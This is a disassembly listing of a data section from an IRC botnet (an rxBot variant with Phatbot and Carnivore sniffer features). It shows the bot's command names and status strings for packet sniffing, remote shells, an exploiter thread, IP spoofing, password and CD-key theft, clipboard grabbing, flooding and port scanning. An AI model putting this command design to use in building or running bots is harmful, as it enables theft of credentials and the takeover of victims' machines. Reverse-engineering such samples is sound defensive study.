aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B0E4	db  2Dh	; -		; DATA XREF: sub_401ACD+42BCo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B120	db  2Dh	; -		; DATA XREF: sub_401ACD+424Do
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 10h
unk_42B150	db  2Dh	; -		; DATA XREF: sub_401ACD+41E6o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_1	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41AFo
dword_42B178	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C71o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B1A4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+419Ao
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B1E0	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+416Ao
aFailedToSta_18	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B21C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40FBo
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B24C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4094o
aAlreadyRunni_2	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+4074o
					; sub_401ACD+41C6o ...
		align 10h
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+405Do
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+4048o
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4033o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+401Eo
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4009o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+3FF4o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FDFo
aV:					; DATA XREF: sub_401ACD+3FCAo
					; ___:00437C44o ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FB5o
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FA0o
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F8Bo
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F76o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F4Co
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F37o
					; sub_401ACD+4644o
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F22o
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F0Do
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EF8o
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE3o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ECEo
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA4o
		align 10h
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Fo
		align 4
aO:					; DATA XREF: sub_401ACD+3E7Ao
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E65o
					; sub_401ACD+590Bo ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E50o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E3Bo
		align 10h
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E26o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E11o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DFCo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DE7o
		align 10h
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DBDo
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D93o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D7Eo
		align 4
aJ:					; DATA XREF: sub_401ACD+3D54o
					; ___:00437C2Co
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D2Ao
					; ___:00437C4Co
		unicode	0, <n>,0
unk_42B34C	db  2Dh	; -		; DATA XREF: sub_401ACD+3CF6o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C69o
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3C10o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B43o
dword_42B3AC	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AEFo
					; sub_401ACD+3B26o
		dd 0
dword_42B3C4	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3AB8o
		dd 1
dword_42B3DC	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A81o
					; sub_401ACD+3B98o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+3A2Co
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3997o
					; sub_401ACD+39D3o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+393Do
		align 10h
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+384Eo
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+3807o
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+3705o
					; sub_401ACD+3D15o
		align 4
dword_42B424	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+36E8o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B44C	dd 636364h		; DATA XREF: sub_401ACD+366Bo
dword_42B450	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo
dword_42B45C	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+3501o
					; sub_401ACD+3762o ...
dword_42B464	dd 69257325h, 0		; DATA XREF: sub_401ACD+34E6o
					; sub_40ACB5+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+34A5o
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3488o
					; sub_401ACD+3578o ...
		align 10h
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+3461o
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+3444o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+3422o
					; sub_401ACD+3D69o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+3405o
					; sub_401ACD+354Co ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+33E3o
					; sub_401ACD+3D3Fo
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+33C6o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3377o
					; sub_401ACD+48F1o
		align 10h
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+335Ao
		align 10h
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+330Bo
		align 4
dword_42B4D4	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32EEo
dword_42B4E8	dd 7463h		; DATA XREF: sub_401ACD+329Fo
dword_42B4EC	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o
					; sub_401ACD+38A8o ...
dword_42B4FC	dd 5Fh			; DATA XREF: sub_401ACD+3253o
					; sub_401ACD+32BFo ...
dword_42B500	dd 6D70h		; DATA XREF: sub_401ACD+3233o
					; sub_401ACD+487Eo
unk_42B504	db  2Dh	; -		; DATA XREF: sub_401ACD+3201o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 10h
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+31AAo
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3181o
		align 10h
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+316Ao
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3155o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+3140o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+312Bo
		align 4
unk_42B56C	db  2Dh	; -		; DATA XREF: sub_401ACD+3120o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42B5AC	db  2Dh	; -		; DATA XREF: sub_401ACD+30AEo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+3028o
unk_42B5E4	db  2Dh	; -		; DATA XREF: sub_401ACD+300Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 10h
unk_42B610	db  2Dh	; -		; DATA XREF: sub_401ACD+2FF0o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2FCCo
		align 10h
unk_42B650	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_404A40o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_404A22o
					; sub_401ACD+3F61o
unk_42B68C	db  2Dh	; -		; DATA XREF: sub_401ACD+2EDAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_42B6B8	db  2Dh	; -		; DATA XREF: sub_401ACD+2ED2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
dword_42B6E4	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401ACD+2E7Do
unk_42B6F4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40493Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 4
dword_42B7A4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E4Bo
aFailedToSta_19	db '- Failed to start secure thread, error: <%d>.',0
		align 10h
dword_42B7E0	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2DD1o
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2DCBo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2DC4o
		align 4
unk_42B814	db  2Dh	; -		; DATA XREF: sub_401ACD+2D4Do
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_20	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42B854	db  2Dh	; -		; DATA XREF: sub_401ACD+2CC9o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 10h
dword_42B880	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C47o
aFailedToSta_21	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42B8BC	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2BD8o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42B8E4	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2B25o
dword_42B8F4	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o
dword_42B900	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do
dword_42B910	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2B08o
dword_42B920	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401ACD+2A95o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o
					; sub_401ACD:loc_409778o ...
		align 4
dword_42B954	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401ACD+2A73o
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do
					; sub_401ACD+7A7Eo
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo
		align 4
unk_42B9A4	db  2Dh	; -		; DATA XREF: sub_401ACD+2A17o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 10h
dword_42B9D0	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: sub_401ACD+29D8o
		dd 2E7325h
unk_42B9E8	db  2Dh	; -		; DATA XREF: sub_401ACD+29C9o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_22	db '- Failed to start list thread, error: <%d>.',0
		align 4
dword_42BA24	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+295Ao
		dd 65726874h, 2E736461h, 0
dword_42BA44	dd 627573h		; DATA XREF: sub_401ACD+2934o
dword_42BA48	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401ACD+28E2o
		dd 2E7473h
unk_42BA60	db  2Dh	; -		; DATA XREF: sub_401ACD+28C7o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_23	db '- Failed to start listing thread, error: <%d>.',0
dword_42BA98	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2858o
		dd 2E676Fh
dword_42BAB0	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401ACD+27B3o
		dd 6F666E49h, 2Eh
dword_42BACC	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401ACD+2784o
		dd 2E6F666Eh, 0
dword_42BAE8	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401ACD+272Fo
		dd 746F4220h, 2Eh
unk_42BB04	db  2Dh	; -		; DATA XREF: sub_401ACD+2713o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start listing thread, error: <%d>.',0
		align 10h
dword_42BB40	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+269Eo
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+267Eo
		align 4
unk_42BB64	db  2Dh	; -		; DATA XREF: sub_401ACD+261Co
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
dword_42BB84	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401ACD+25F9o
aSearchComplete	db '- Search completed.',0
dword_42BBA4	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401ACD+25ADo
		dd 2E7325h
unk_42BBBC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403FEAo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42BBDC	db  2Dh	; -		; DATA XREF: sub_401ACD+2513o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42BC04	db  2Dh	; -		; DATA XREF: sub_401ACD+24F4o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 10h
dword_42BC30	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401ACD+24DEo
		dd 72616F62h, 2E64h
dword_42BC4C	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+24B0o
		dd 2Dh
unk_42BC64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F6Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 10h
unk_42BC90	db  2Dh	; -		; DATA XREF: sub_401ACD+2499o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42BCB4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F42o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 10h
unk_42BCE0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F3Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42BD0C	db  2Dh	; -		; DATA XREF: sub_401ACD+2467o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 10h
unk_42BD30	db  2Dh	; -		; DATA XREF: sub_401ACD+2414o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_25	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42BD6C	db  2Dh	; -		; DATA XREF: sub_401ACD+23A5o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42BDA8	db  2Dh	; -		; DATA XREF: sub_401ACD+22BFo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BDE4	db  2Dh	; -		; DATA XREF: sub_401ACD+2254o
					; sub_40BACD+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42BE20	db  2Dh	; -		; DATA XREF: sub_401ACD+214Do
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_27	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BE5C	db  2Dh	; -		; DATA XREF: sub_401ACD+20DEo
					; sub_40BACD+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 10h
unk_42BE90	db  2Dh	; -		; DATA XREF: sub_401ACD+2029o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_4	db ' Already running.',0
		align 10h
unk_42BEB0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403AE0o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan, port is invalid.',0
		align 4
unk_42BEE8	db  2Dh	; -		; DATA XREF: sub_401ACD+1FC3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_29	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42BF24	db  2Dh	; -		; DATA XREF: sub_401ACD+1F52o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 10h
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1F27o
					; sub_401ACD+5BEEo
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1F20o
					; sub_401ACD+5BE7o
		align 4
unk_42BFA4	db  2Dh	; -		; DATA XREF: sub_401ACD+1D6Do
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_42BFE4	db  2Dh	; -		; DATA XREF: sub_401ACD+1D0Fo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start search thread, error: <%d>.',0
unk_42C020	db  2Dh	; -		; DATA XREF: sub_401ACD+1C95o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1C4Co
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1C3Bo
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1C11o
		align 4
aSa		db 'sa',0               ; DATA XREF: sub_401ACD+1BFCo
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1BE7o
					; sub_401ACD+4FA1o
dword_42C090	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_401ACD+1B97o
		dd 746F6220h, 2Eh
aCrash		db 'crash',0            ; DATA XREF: sub_401ACD+1B81o
					; sub_401ACD+1BD1o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B6Co
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1B57o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1B42o
		align 10h
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1B2Do
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1B18o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1B03o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1AEEo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1AD9o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1AC4o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1AAFo
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A9Ao
		align 10h
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A85o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A70o
		align 10h
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+1A5Bo
unk_42C138	db  2Dh	; -		; DATA XREF: sub_401ACD+1A1Do
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+1A02o
					; sub_401ACD+3CAFo ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+19EBo
		align 4
unk_42C16C	db  2Dh	; -		; DATA XREF: sub_401ACD+19CDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 10h
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1995o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_403453o
dword_42C1A0	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+195Bo
dword_42C1B4	dd 6F6877h		; DATA XREF: sub_401ACD+193Eo
dword_42C1B8	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o
dword_42C1C4	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+192Eo
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+1915o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+1900o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+18EBo
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+18D6o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+18C1o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+18ACo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+1897o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1882o
		align 10h
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+186Do
		align 4
aKey		db 'key',0              ; DATA XREF: sub_401ACD+1858o
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401ACD+1843o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+182Eo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+1819o
		align 4
aLsp100		db 'lsp100',0           ; DATA XREF: sub_401ACD+17EFo
					; sub_401ACD+1804o
		align 4
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17DAo
		align 10h
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+17C5o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+17B0o
		align 4
